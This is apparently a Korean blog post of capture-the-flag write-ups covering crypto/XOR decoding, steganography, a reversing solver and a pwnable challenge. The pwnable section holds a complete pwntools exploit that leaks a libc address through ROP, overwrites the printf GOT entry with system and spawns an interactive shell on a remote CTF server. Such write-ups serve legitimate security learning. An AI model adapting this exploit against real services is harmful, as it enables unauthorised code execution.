2D302D76 2D2F3D2F 2D703600 07046068 606E7D74 256E6568 6E66687F 212D696C 796C212D 7E647768 626B2569 6C796C24 263C2436 0007047E 797F6E6C 79256E65 686E6668 7F212D2F 762F2436 0007047E 797F6E6C 79256E65 686E6668 7F212D69 6C796C3F 24360007 047E797F 6E6C7925 6E65686E 66687F21 2D2F702F 24360007 047D7879 7E256E65 686E6668 7F243600 07047F68 79787F63 2D3D3600 07700007 00076463 792D606C 64632564 63792D6C 7F6A6E21 2D6E656C 7F272D6C 7F6A7B56 50240007 76000704 6463792D 25276B7D 24256E62 637E792D 6E656C7F 27216E62 637E792D 6E656C7F 2D272164 63792436 0007046B 7D2D302D 4E65686E 66360007 046E6263 7E792D6E 656C7F27 2D6B616C 6A2D302D 256E6263 7E792D6E 656C7F27 247E6879 596C6F61 68252436 00070464 6B2D252C 6B7D2525 6E62637E 792D6E65 6C7F2724 2F454E4C 405D2F21 6B616C6A 212D3C3D 24240007 04760007 04047D78 797E252F 5E786E6E 687E7E2F 24360007 04700007 70"
b=b.replace(" ","")
go=""
for i in range(0,len(b),2):
	go += chr(int("0x" + b[i:i+2],16) ^ 13)
print go

이렇게 xor해주면 c언어 코드가 나오게 된다.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


char data[256] = "\x6f\x59\x5f\x58\x43\x41\x45\x56\x49\x73\x7c\x43\x5b\x49\x5e\x5f\x44\x49\x40\x40\x73\x61\x4d\x40\x5b\x4d\x5e\x49";

char* setTable()
{
	
	for (int i = 0; i < 28 ; i++)
	{
		data[i] ^= 0x2C;
		data[i] &= 0xFFFFFF;
	}

	return data;
}

int Check(const char *data, const char *data2,int xorVal)
{
	char checker[256] = { "0" };
	memcpy(checker, data, sizeof(data)+1);
	strcat(checker, "{");
	strcat(checker, data2);
	strcat(checker, "}");
	puts(checker);
	return 0;
}

int main(int argc, char* argv[])
{
	int (*fp)(const char*,const char *,int);
	fp = Check;
	const char* flag = (const char*)setTable();
	if (!fp((const char*)"HCAMP",flag, 10))
	{
		puts("Success");
	}
}

이제 테이블 값과 0x2c랑 xor해주면 된다..

d = "\x6f\x59\x5f\x58\x43\x41\x45\x56\x49\x73\x7c\x43\x5b\x49\x5e\x5f\x44\x49\x40\x40\x73\x61\x4d\x40\x5b\x4d\x5e\x49"

print ''.join(chr((ord(d[i])^0x2c) & 0xffffff) for i in range(len(d)))

FLAG : HCAMP{Customize_Powershell_Malware}


Welcome to hackingcamp

jpg 파일이 주어지는데 jpg 파일 안에 png 파일이 숨겨져 있었다. 그 png 파일을 열어보면 플래그가 있다.

FLAG : HCAMP{@3@_Welcome_t0_hacking_c4mp_!!}


Lorem Lock

HwpScan2를 이용해서 풀었다. Section0에 Text를 보니 플래그가 있었다.

FLAG : HCAMP{Oh!__Y0u_Know_##_OFFSET}

Reversing

Reversing #2

문제를 보면 반복문이 엄청나게 돌고있다.. 디버깅해서 연산하는 곳마다 브레이크 포인트 걸어주고 풀었다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rsi
  signed int v4; // eax
  signed int v5; // eax
  bool v6; // zf
  signed int v7; // eax
  signed int v9; // [rsp+7Ch] [rbp-224h]
  int v10; // [rsp+80h] [rbp-220h]
  int v11; // [rsp+84h] [rbp-21Ch]
  unsigned __int64 v12; // [rsp+88h] [rbp-218h]
  char s1[256]; // [rsp+90h] [rbp-210h]
  char s[268]; // [rsp+190h] [rbp-110h]
  unsigned int v15; // [rsp+29Ch] [rbp-4h]

  v15 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  memset(s, 0, 0x100uLL);
  memset(s1, 0, 0x100uLL);
  v3 = s;
  printf("Easy one. Just Reverse Me :)\n", 0LL);
  v12 = (signed int)read(0, s, 0x100uLL);
  v11 = 0;
  v9 = 784577434;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                while ( 1 )
                {
                  while ( v9 == -1283299488 )
                  {
                    v3 = (char *)v10;
                    s1[v10] ^= byte_602060[v10 % 5];
                    v9 = 689708032;
                  }
                  if ( v9 != -1112985830 )
                    break;
                  v5 = -576509350;
                  if ( v10 < v12 )
                    v5 = -1283299488;
                  v9 = v5;
                }
                if ( v9 != -937301210 )
                  break;
                v10 = 0;
                v9 = -1112985830;
              }
              if ( v9 != -576509350 )
                break;
              v3 = (char *)&unk_602070;
              v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;
              v7 = 447126853;
              if ( !v6 )
                v7 = 596317950;
              v9 = v7;
            }
            if ( v9 != 447126853 )
              break;
            v9 = 955640552;
            printf("Input is your flag\n", v3);
          }
          if ( v9 != 596317950 )
            break;
          v9 = 955640552;
          puts("Nope.");
        }
        if ( v9 != 689708032 )
          break;
        ++v10;
        v9 = -1112985830;
      }
      if ( v9 != 784577434 )
        break;
      v4 = -937301210;
      if ( v11 < v12 )
        v4 = 1637913944;
      v9 = v4;
    }
    if ( v9 == 955640552 )
      break;
    if ( v9 == 1637913944 )
    {
      v3 = (char *)16;
      s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];
      v9 = 1690546716;
    }
    else if ( v9 == 1690546716 )
    {
      ++v11;
      v9 = 784577434;
    }
  }
  return v15;
}

간단하게 연산 순서를 나타내면 아래와 같다.

  1. byte_400c20에 있는 테이블 값을 뽑아서 s1에 넣어주고있다.
s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];

  1. 그리고 byte_602060에 저장된 “SECRET”과 xor연산해준다.
s1[v10] ^= byte_602060[v10 % 5];

  1. 마지막으로는 30글자 메모리 값을 비교해준다.
v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;

이런 분기로 프로그램이 흘러간다.

이렇게 되면 쉽게 그냥 역연산 짜주면 된다.

byte_400C20[16 * (INPUT / 16) + INPUT % 16] ^ byte_602060[i%5] == unk_602070[i]

이런식으로 프로그램이 흘러간다는 것을 알 수 있다. 그러면 역연산 해주면 된다.

우선 byte_602060[i%5] ^ unk_602070[i] 을 해주면 byte_400C20[16 * (INPUT / 16) + INPUT % 16] 이 나온다.

나는 브루트포스해서 INPUT 값을 구해주었다.

bt=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43
,254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71
,240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253
,147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216
,49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128
,226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90
,160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0
,237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88
,207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2
,127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56
,245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12
,19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93
,25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238
,184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36
,92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200
,55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101
,122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232
,221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102
,72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158
,225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135
,233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230
,66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
table = [0x60,0x15,0xac,0xd7,0x64,0x57,0xef,0x70,0xcf,0xd3,0xa8,0x5d,0xd1,0xd6,0x5,0x9c,0x5f,0x5b,0xcd,0x65,0x9c,0xd3,0x63,0x56,0x16,0x9c,0xa6,0x80,0xad,0x22]

flag = []
m="SECRET"
for i in range(len(table)):
	for j in range(33,127):
		if ord(m[i%5]) ^ table[i] == bt[16 * (j / 16) + j % 16]:
			flag.append(j)
			break
print ''.join(chr(i) for i in flag)

FLAG : flag{0bfu5c4tOr_C4nT_5T0P_M3}


Pwnable

GOT_O

간단한 got overwrite 문제이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  problem();
  write(1, "\n\n", 2u);
  return 0;
}
ssize_t problem()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0xA0u);
}
int win()
{
  return printf("/bin/sh");
}

exploit.py

from pwn import *

context.log_level = 'debug'

p = remote('inc0gnito.com',9090)
elf = ELF('./GOT_o')

main = 0x080484a3
win = 0x0804848a
problem = 0x0804846b
read_offset = 0x9ad60 # read - system

payload = cyclic(cyclic_find('haaa'))

rop1 = ROP(elf)
rop1.write(1,elf.got['read'],4)
rop1.call(problem)

log.info('Stage1')

p.sendline(payload + str(rop1))
sleep(0.1)
read_got = u32(p.recv(4))

sys_got = read_got - read_offset

rop2 = ROP(elf)
rop2.read(0,elf.got['printf'],4)
rop2.call(win)

log.info('Stage2')

p.sendline(payload + str(rop2))
sleep(0.1)
p.sendline(p32(sys_got))
sleep(0.1)

p.interactive()

FLAG : FLAG{This_is_got_overwrite}


Forensic

wh3re_is_my_f14g

zip 파일이 주어지는데 그 안에 zip 파일이 하나 더 숨겨져있어서 그거 추출해줬는데 플래그 있었다.

FLAG : 1nC0{d0_you_kn0w_21p?}

+ Recent posts